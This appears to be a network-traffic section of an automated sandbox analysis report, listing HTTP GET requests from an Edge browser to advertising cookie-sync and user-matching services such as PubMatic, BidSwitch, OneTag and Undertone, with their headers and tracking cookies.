Source: global traffic	HTTP traffic detected: GET /exchange/sync.php?p=onetag&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-eu.rubiconproject.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: khaos_p=M7A5MT0O-13-DO11; receive-cookie-deprecation=1; audit_p=1\|UhAUeK5mAW+96IPQbdWLMjPesnv+p5APnXgaNHOtIjLlGNsBp+KQQcj+z4eB8T0onifGjSD3hyvyUhTWCqUS/Pv31DA4fHDqMp0HTDw5gZ7V/IjBlWfcnUFlvF8UlMcu0qFFTMmSniq+ZnloUXshQ8ouJzmKE+FMYPDxny9O7hNPVHjylZIeXC/t3R5oxJCA
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ups/58545/occ?verify=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=159706&gdpr=0&gdpr_consent=&us_privacy=&pu=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D${GDPR}%26gdpr_consent%3D${GDPR_STRING}%26uid%3D%23PMUID&rdf=1 HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=33across&gdpr=&gdpr_consent=&us_privacy=1-N-&gpp=&gpp_sid=&f=b&uid=213002944099037 HTTP/1.1Host: s2s.t13.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hde.tynt.com/deb/?m=xch&rt=html&gdpr=&gdpr_consent=&us_privacy=1-N-&id=zzz000000000002zzz&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X&b=1Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: uids=eyJ0ZW1wVUlEcyI6eyJheG9uaXgiOnsidWlkIjoiYjRiNjhkNjMtOGU4Ni00NTBjLWIzYWYtODczNTg4NmU0NjhmIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTQuNTA0MDE2MjY3WiJ9LCJ1bnJ1bHlmc3giOnsidWlkIjoiT1BUT1VUIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTEuMzQyMTQyMjI0WiJ9LCJ1bnJ1bHkiOnsidWlkIjoiT1BUT1VUIiwiZXhwaXJlcyI6IjIwMjUtMDMtMDRUMDc6MjA6MTQuMjA3NzM2ODI1WiJ9fX0=
Source: global traffic	HTTP traffic detected: GET /check_uuid/https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dgrid%26userId%3D%24%7BBSW_UUID%7D%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D?gdpr=&gdpr_consent=&us_privacy=&uid=${BSW_UUID}&cookie_age=${COOKIE_AGE} HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=undertonenew&userId=eygnsgye694mf0w67aab60s1h&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=6rz12gNwX1O3pDu1sHGwHOUM7XRU2BhNJPGxCPgJ6ABUiQ1VEU3pGOwF%2FAkcgFlREBCpVdBN6VUNxRlRBXypAbAV%2BUEB0RAYXBCtAO1NtH1JyRgNCBX5ObgZ%2BAkhwQAkQVndGbFB6BkVmWRNFVipDbQF%2BB0N3RwVABn5HaQZ%2FVhZzE1JRS2xCPgIqB0B8TFIRUHkWbgF%2FAkcnFgVGA3pVdBN5AkJxRAESAy9DawIuBUB0RAZLUHtHbgVtH1JyRgUWXnZHbFMtABMgQ1IWA3xHOwJ4BhJmWRNFVSgSbQYsURQiQgMXU3tEYAB8B0V1RVBRS2xCPgZ2BEcmQgVBXypHOgF%2FAkclFgcXUStVdBN5BhVwTABCUXwVbwkuB0ciFFdAUH4UOVNtH1JyQ1QXVXkWaQd6AkJ1QglFV3tEalV%2FVxJmWRNFVXhOaggrVUd3FlMQX3ZOOQkrAUgiRgFRS2xBbgJ%2FUkJwEAlHAnoTbwguCkh8EVRHU3pVdBN5BhQnQwhLAShAagQuAkcgF1NGVy1BOQZtH1JyQwBEA3lEOVMqCkJ2FgdFAytGOlJ2BUBmWRNFUnpEbwB8VhQmFwhHVH5PPAQsA0B8TQVRS2xBbFAuVxR8F1BAAyxPblcuUkElQggSUSxVdBN5BhUiRgVDU3lPaQkrBBZ2EwkXBn5GbFNtH1JyQVIVXnhHbwN9BRZ0FgFBA3pPbgUqUhVmWRNFUS9AYQR9BUJwEVQQUHYTYAl6ABQhFgRRS2xBalcqBhZwR1QVBntCbgEtBUd3RFVHBixVdBN5AUAlRwdEVywSO1MpUUlzQAVEUXlHOVVtH1JyQ1dKVyoWbwUqCxZzRANAVXpPbggsAEBmWRNFUHlFO1IpC0knE1AVUy1FbwB%2BAER2EAVROmJVP1U%2FQVJ%2BDhMaFAsiegspUhw3EB1RACoHKhN1EVJoV1YXFzw0N188Vh4wVwtRRWJVLUIfQRkyFFIKRXRVeh1tVAA0VwtRRWJVP0E%2FYBkgVwtRRWJVKlQrWgIhFkVRXWwfLEU%2FQEprWkQAFWACNlUqQQQrG1RdBCEad0Q8VgIUHEkWC2EEIV8sDAAlB0UdAjw%2BPAx6C
Source: global traffic	HTTP traffic detected: GET /cs?aid=11599&id=OPTOUT HTTP/1.1Host: cs.yellowblue.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: wrvUserID=Ye_0e3ErCp_s
Source: global traffic	HTTP traffic detected: GET /sync?redirect=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11595%26id%3D%7BID5UID%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry=true HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/cookie?partnerId=openx&userId=c1e06d65-7a9e-4440-aa26-121ed8705058&gdpr=0&gdpr_consent=&us_privacy=1-N- HTTP/1.1Host: sync.cootlogix.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: vdz_sync=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_5d69939c=szr14o9XiORlHpldxBuFBsoCD0mAi0CH0ZCGVdZCmwMdmpcfBIOVxsmQwxcPFt%2FMV9%2FRQ5GVGBDW1g5DStqDilDCAZAdBMOWGkIeGsNfhJOSFp3E1xcbFl3aw8qR1sFTnJFXg47CntnCHxSQEZOcxFbDGhYe2FfekRfBUhyRFgJPQ94NA9qXE5RHnFAXFw%2BXytlWHxBD1RIc0ILWj1eLDZOZFJaUktyFF0NPVF7N1gsR1UFQXpNC1xsXXtwMWRSDwsNLAFNA2hFbTUIOAJOXgNgHBx8DUt1NA0kAwlIWiURH0t6U21iTmRSCwAIMDYAVysMISZOclJOSFo3Bj9LMR8uMRVqSk5VVQxYTUR0Szw3HzsZAwpaeFdWXGAKKWMOLl0NXRlzWFdbYF1iMworSUFWSXMRDF9tWndiXSxSQEYbLRsBXDsdJj0CARROXlp0QldYalt9ZlV9QlpRQXZCDg9qCHhiVClSQEYRMTwJSzkEKnBWPAIZAQU%3D; vdzj1_805786a6=BSU11nAusHLDEszpFWMFEjo4KiABCVJUGldGLn9xdhYcRgp2QUd5L3R1Qk0UDSRCECxuaGdFSUQLeE1DfC4mdhAeRg0kEUF4L3dyRhhSQmNAFXspcHVLQxMMdkISfnx0dEQZE1p0EUdqYGZzQh5EW3FER3t%2FdnFAG0BecEJDLSpzIxBYXEx3R0MpfnJyQxgVDSMTEXF7cXFETEdeIBFRZG5ycRIbFAp5FxJ7KCZ9RRwRD3AURHEtcidRVlJYd0ZDKX5wIEtOFVolQkopdXx9Fx9EWnVXLmRuJyoGFARMe0VfaisgNQFYShU8WVE7KTc2GhUeTHtXSi10JyNCGBZDIEwSeWF8J0tOXQ8nFkplfnV0FxkWW3JNQ3koZmlRGR8ALxAQPCUrKzoeUlRjQ0R%2FfyV0FRkTXyQQS3h8cSMVH0INdBcSajE%3D; vdz_r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D59%26uid%3D23ddfc42-8a3c-7016-4d4c-e8ca6f61f114; vdzj1_fe46ff5e=6rz12gNwX1O3pDu1sHGwHOUM7XRU2BhNJPGxCPgJ6ABUiQ1VEU3pGOwF%2FAkcgFlREBCpVdBN6VUNxRlRBXypAbAV%2BUEB0RAYXBCtAO1NtH1JyRgNCBX5ObgZ%2BAkhwQAkQVndGbFB6BkVmWRNFVipDbQF%2BB0N3RwVABn5HaQZ%2FVhZzE1JRS2xCPgIqB0B8TFIRUHkWbgF%2FAkcnFgVGA3pVdBN5AkJxRAESAy9DawIuBUB0RAZLUHtHbgVtH1JyRgUWXnZHbFMtABMgQ1IWA3xHOwJ4BhJmWRNFVSgSbQYsURQiQgMXU3tEYAB8B0V1RVBRS2xCPgZ2BEcmQgVBXypHOgF%2FAkclFgcXUStVdBN5BhVwTABCUXwVbwkuB0ciFFdAUH4UOVNtH1JyQ1QXVXkWaQd6AkJ1QglFV3tEalV%2FVxJmWRNFVXhOaggrVUd3FlMQX3ZOOQkrAUgiRgFRS2xBbgJ%2FUkJwEAlHAnoTbwguCkh8EVRHU3pVdBN5BhQnQwhLAShAagQuAkcgF1NGVy1BOQZtH1JyQwBEA3lEOVMqCkJ2FgdFAytGOlJ2BUBmWRNFUnpEbwB8VhQmFwhHVH5PPAQsA0B8TQVRS2xBbFAuVxR8F1BAAyxPblcuUkElQggSUSxVdBN5BhUiRgVDU3lPaQkrBBZ2EwkXBn5GbFNtH1JyQVIVXnhHbwN9BRZ0FgFBA3pPbgUqUhVmWRNFUS9AYQR9BUJwEVQQUHYTYAl6ABQhFgRRS2xBalcqBhZwR1QVBntCbgEtBUd3RFVHBixVdBN5AUAlRwdEVywSO1MpUUlzQAVEUXlHOVVtH1JyQ1dKVyoWbwUqCxZzRANAVXpPbggsAEBmWRNFUHlFO1IpC0knE1AVUy1FbwB%2BAER2EAVROmJVP1U%2FQVJ%2BDhMaFAsiegspUhw3EB1RACoHKhN1EVJoV1YXFzw0N188Vh4wVwtRRWJVLUIfQRkyFFIKRXRVeh1tVAA0VwtRRWJVP0E%2FYBkgVwtRRWJVKlQrWgIhFkVRXWwfLEU%2FQEprWkQAFWACNlUqQQQrG1RdBCEad0Q8VgIUHEkWC2EEIV8sDAAlB0UdAjw%2BPA
Source: global traffic	HTTP traffic detected: GET /sync?ssp=bidswitch&bidswitch_ssp_id=onetag&bsw_user_id=&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=59&uid=23ddfc42-8a3c-7016-4d4c-e8ca6f61f114 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=vidazoo&zcc=1&cb=1739863189190&us_privacy=1-N- HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.cootlogix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /match/?int_id=98&uid=2630127119070967565&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /match/?int_id=3&uid=dd39ddbb587285711a7fdd8ef6a12074&gdpr_consent=&gdpr=0 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: OTP=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA
Source: global traffic	HTTP traffic detected: GET /userPixel/sync?partnerId=39&uid=d3351913-5c43-42cd-ad4d-9fa9dbd98ee4 HTTP/1.1Host: usr.undertone.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cdn.undertone.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=onetag&ssp_user_id=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA&gdpr=0&gdpr_consent= HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11607%26uid%3D%24UID&sovrn_retry=true HTTP/1.1Host: ap.lijit.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://cs-server-s2s.yellowblue.io/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=562985&ev=1&us_privacy=&rurl=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D149%26gdpr%3D0%26gdpr_consent%3D%26uid%3D%25%25VGUID%25%25 HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: VP=part_P3nIw6mfctvU; pb_rtb_ev_part=3-1wje\|8i8.0.1
Source: global traffic	HTTP traffic detected: GET /c/882/0/8/1.gif?gdpr=0&gdpr_consent=&gpp=DBACOe%7ECQNBgcAQNBgcAEXikAENA0EwAP_gAEPgACiQGpQCgAGgAcABoAEUAJgAUABHALhAXmA1IC84A4AHAAaABFACYAFAARwC8wAA%7EBQNBgcAQNBgcAEXikAENA0CgAf_AAIfAAAalAKAAaABwAGgARQAmABQAEcAuEBeYDUgLzgDgAcABoAEUAJgAUABHALzA%7E1-N-&gpp_sid=6&us_privacy= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.scribd.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
